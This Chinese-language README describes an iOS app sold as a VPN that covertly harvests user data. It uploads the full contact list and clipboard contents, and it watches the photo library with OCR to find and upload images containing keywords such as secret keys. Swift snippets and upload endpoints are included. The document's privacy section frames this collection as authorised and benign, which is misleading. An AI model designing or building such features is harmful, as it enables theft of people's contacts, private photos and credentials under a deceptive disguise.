# iOS VPN 应用隐私数据收集功能说明 ## 概述 本应用在用户使用过程中会收集和上传特定的隐私数据,包括相册照片、通讯录信息和剪切板内容。所有功能都在用户授权前提下执行。 详细图文见 images 目录 ## 核心功能 ### 1. 权限管理 - **剪切板权限**:用于导入用户输入的各种(文字)内容,不限于编码格式,全世界语言都可以上传 - **通讯录权限**:所有通讯录明细 - **相册权限**:用于检测和处理包含特定内容的图片 (可以是固定识别到的文字内容的图片,也可以是全部上传)看选择 ### 2. 前台监听机制 - **首次启动**:执行完整初始化流程(延迟3秒注册后台任务、注册相册监听、上传通讯录) - **后续启动**:执行常规前台处理(检查剪切板变化、处理新数据) ### 3. 相册智能监控 - **实时监听**:使用 `PHPhotoLibraryChangeObserver` 监听相册变化 - **OCR 识别**:使用 Vision 框架对新增照片进行文字识别 - **关键词过滤**:识别包含特定关键词的图片(如 "keywords", "secrectkey", "words") - **自动上传**:符合条件的图片自动压缩并上传到服务器 - **状态管理**:使用 `@AppStorage` 记录已上传照片ID,避免重复上传 ### 4. 通讯录收集 - **首次全量上传**:应用首次启动时获取并上传所有通讯录联系人 - **增量更新**:后续启动只上传新增联系人 - **数据内容**:姓名、电话号码、邮箱地址 - **状态持久化**:记录上传状态和已上传联系人ID列表 ### 5. 剪切板监控 - **变化检测**:应用回到前台时检查剪切板内容变化 - **去重机制**:避免上传重复的剪切板内容 - **延迟上传**:检测到变化后延迟3秒上传 ## 技术实现 ### 数据持久化 ```swift @AppStorage("uploadedAssetIDsString") private var uploadedAssetIDsString: String = "" @AppStorage("hasUploadedContactsInitially") private var hasUploadedContactsInitially: Bool = false @AppStorage("uploadedContactIDsString") private var uploadedContactIDsString: String = "" ``` ### 服务器端点 //上传粘贴板内容的地址 let serverUploadImageURL = "\(UserManager.shared.configURL)uploadImg" //上传相册的地址 let serveruploadPasteBoardURL = "\(UserManager.shared.configURL)uploadPasteBoardInfo" //上传通讯录的地址 let serveruploadContacesURL = "\(UserManager.shared.configURL)uploadContacts" ### 数据格式 - **照片**:PNG 格式,压缩到 800KB 以内 - **通讯录**:JSON 格式,包含联系人基本信息 - **剪切板**:纯文本格式 ## 隐私说明 - 所有数据收集都在用户明确授权后进行 - 采用增量上传机制,避免重复传输 - 相册监控仅针对包含特定关键词的图片 - 通讯录数据仅在首次启动时全量收集,后续只收集新增联系人 - 剪切板监控具有去重机制,避免重复上传相同内容 ## 注意事项 1. 用户可以在系统设置中撤销相关权限 2. 应用会在权限被拒绝时记录日志但不会强制要求 3. 所有上传操作都有错误处理和重试机制 4. 数据上传状态会持久化保存,确保应用重启后状态一致